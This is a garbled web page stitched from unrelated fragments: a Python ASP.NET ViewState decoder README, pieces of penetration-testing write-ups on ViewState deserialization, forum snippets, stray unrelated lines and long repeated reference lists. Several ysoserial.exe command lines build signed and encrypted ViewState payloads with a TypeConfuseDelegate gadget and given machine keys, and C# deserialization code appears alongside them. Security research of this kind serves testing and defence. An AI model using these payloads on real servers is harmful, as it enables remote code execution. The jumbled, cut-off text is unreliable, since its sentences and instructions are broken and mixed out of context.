This extension is a tool that allows you to display ViewState of ASP.NET. Development packages can be installed with pipenv. First, it can be used as an imported library with the following typical use case: property has been used, the page would not ignore the errors, and without This can be done when the MAC validation feature I need to see the contents of the viewstate of an asp.net page. In the past, I've used this website to decode it: http://www.motobit.com/util/base64-decoder-encoder.asp. and enforce ViewState encryption can still accept a signed ViewState without encryption. It is usually saved on a hidden form field: Decoding the view state can be useful in penetration testing on ASP.NET applications, as well as revealing more information that can be used to efficiently scrape web pages. Use Git or checkout with SVN using the web URL. For instance, the xaml_payload variable in the TextFormattingRunProperties https://github.com/mutantzombie/JavaScript-ViewState-Parser, http://viewstatedecoder.azurewebsites.net/, https://referencesource.microsoft.com/#System.Web/UI/ObjectStateFormatter.cs,45, https://msdn.microsoft.com/en-us/library/ms972976.aspx. Euler: A baby on his lap, a cat on his back thats how he wrote his immortal works (origin?). Uploading web.config for Fun and Profit 2, Exploiting Deserialisation in ASP.NET via ViewState, Yet Other Examples of Abusing CSRF in Logout, Finding and Exploiting .NET Remoting over HTTP using Deserialisation, Feel honoured to be there again after 8 years: Top 10 Web Hacking Techniques of 2017, Story of my two (but actually three) RCEs in SharePoint in 2018, ASP.NET resource files (.RESX) and deserialization issues, MS 2018 Q4 Top 5 Bounty Hunter for 2 RCEs in SharePoint Online, Abusing Hop-by-Hop Header to Chain A CRLF Injection Vulnerability, Empowering weak primitives: file truncation to code execution with Git, Unsafe fall-through in Sequelize' getWhereConditions, Exploiting Parameter Pollution in Golang Web Apps, Request smuggling in HAProxy via empty header name, Information disclosure to GDPR breach? Thought I was going crazy or that our in-house CMS was doing weird things. An ASP.NET page produces an error when an invalid __VIEWSTATE This plugin supports the following arguments: A few examples to create a ViewState payload are as follows. Operation is confirmed with the following versions. There are two main ways to use this package. Lets use this generated payload with the ViewState value as shown below: We receive an error once the request is processed. This can be achieved by executing the following ASP.NET code as an example to create Decode the ViewState value. There was an interesting presentation from Alexandre Herzog in November 2014 regarding exploiting the deserialisation issues in SharePoint when the MAC validation was disabled in certain pages [23]. Any disclosed validation or decryption keys need to be an application by sending the payload in the URL. Lets create our payload using ysoserial.net and provide the validation key and algorithm as parameters along with app path and path. It was then possible to use the YSoSerial.Net project [12] to create the LosFormatter class payloads. property has been set to Always. ASP.NET View State Decoder. Accelerate penetration testing - find more bugs, more quickly. the __VIEWSTATE Unit tests and code formatting tasks can be run with the builtin scripts: For PyPI releases, follow the build, check and upload scripts. Before getting started with ViewState deserialization, lets go through some key terms associated with ViewState and its exploitation. string serialized_data = File.ReadAllText(@C:\Windows\Temp\serialnet.txt); //Base64 decode the serialized data before deserialization, //Deserialization using ObjectStateFormatter starts here, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}, <%@ Page Language=C# AutoEventWireup=true CodeFile=hello.aspx.cs Inherits=hello %>, public partial class hello : System.Web.UI.Page, ysoserial.exe -o base64 -g TypeConfuseDelegate, <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello", <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>, ysoserial.exe -p ViewState -g TypeConfuseDelegate -c echo 123 > c:\windows\temp\test.txt --path=/site/test.aspx/ --apppath=/directory decryptionalg=AES --decryptionkey=EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=SHA1" --validationkey=B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", <%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>, public partial class test : System.Web.UI.Page, ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/, https://github.com/pwntester/ysoserial.net, https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/, https://www.tutorialspoint.com/asp.net/asp.net_managing_state.htm, https://odetocode.com/blogs/scott/archive/2006/03/20/asp-net-event-validation-and-invalid-callback-or-postback-argument.aspx, https://blogs.objectsharp.com/post/2010/04/08/ViewStateUserKey-ValidateAntiForgeryToken-and-the-Security-Development-Lifecycle.aspx. A small Python 3.5+ library for decoding ASP.NET viewstate. View state is part of the ASP Web Forms framework. The label will contain the concatenated value and should display 'I Love Dotnetcurry.com'. Any official documents would be gladly accepted to help improve the parsing logic. argument can be used to check whether the plugin also calculates the same __VIEWSTATEGENERATOR parameter when the --path and --apppath arguments have parameter that might be in use to stop CSRF attacks. ASP.NET View State Decoder. As a result, knowing the targeted applications framework version is important to create a valid payload. Online tools simply return an empty string while ViewState decoders throw some sort of error. I managed to use the TextFormattingRunProperties gadget in YSoSerial.Net to exploit The following blog posts are related to this research: A video link for Immunity Canvas was added to the references and also in the Other tools section. [1] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter, [2] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter, [3] https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/, [4] https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET, [5] https://docs.microsoft.com/en-us/previous-versions/aspnet/hh975440(v=vs.120), [6] https://github.com/Microsoft/referencesource/blob/master/System.Web/Util/AppSettings.cs#L59, [7] https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/Page.cs#L4034, [8] https://www.troyhunt.com/understanding-and-testing-for-view/, [9] https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled, [10] https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/viewstate-mac-disabled/, [11] https://www.acunetix.com/vulnerabilities/web/view-state-mac-disabled/, [12] https://github.com/pwntester/ysoserial.net/, [13] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection, [14] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode, [15] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory, [16] https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969(v=msdn.10), [17] https://software-security.sans.org/developer-how-to/developer-guide-csrf, [18] https://github.com/pwntester/ysoserial.net/tree/master/ysoserial/Plugins/ViewStatePlugin.cs, [19] https://github.com/pwntester/ysoserial.net/tree/v2/ysoserial/Plugins/ViewStatePlugin.cs, [20] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis, [21] https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2, [22] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/, [23] https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20, [24] https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf, [25] https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247, [26] https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, [27] https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization, [28] https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints?slide=54, [29] https://vimeopro.com/user18478112/canvas/video/260982761, [30] https://web.archive.org/web/20190803165724/https://pwnies.com/nominations/, Danger of Stealing Auto Generated .NET Machine Keys, IIS Application vs. Folder Detection During Blackbox Testing, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter, https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/, https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET, https://docs.microsoft.com/en-us/previous-versions/aspnet/hh975440(v=vs.120), https://github.com/Microsoft/referencesource/blob/master/System.Web/Util/AppSettings.cs#L59, https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/Page.cs#L4034, https://www.troyhunt.com/understanding-and-testing-for-view/, https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled, https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/viewstate-mac-disabled/, https://www.acunetix.com/vulnerabilities/web/view-state-mac-disabled/, https://github.com/pwntester/ysoserial.net/, https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection, https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory, https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969(v=msdn.10), https://software-security.sans.org/developer-how-to/developer-guide-csrf, https://github.com/pwntester/ysoserial.net/tree/master/ysoserial/Plugins/ViewStatePlugin.cs, https://github.com/pwntester/ysoserial.net/tree/v2/ysoserial/Plugins/ViewStatePlugin.cs, https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis, https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2, https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/, https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20, https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf, https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247, https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization, https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints?slide=54, https://vimeopro.com/user18478112/canvas/video/260982761, https://web.archive.org/web/20190803165724/https://pwnies.com/nominations/. Code. The algorithms can also be selected automatically. Is there a single-word adjective for "having exceptionally strong moral principles"? Since there is no publically available specification of how .NET viewstate is encoded, reverse engineering was based on prior work: Any official documents would be gladly accepted to help improve the parsing logic. Community. The command line usage can also accept raw bytes with the -r flag: Viewstate HMAC signatures are also supported. Granted, it's just a straight string decoding rather than a viewstate decoder, but it gets me much further down the road than anything else so far. parameter should be in the body of the request. If you run this exploit against a patched machine it won't work.
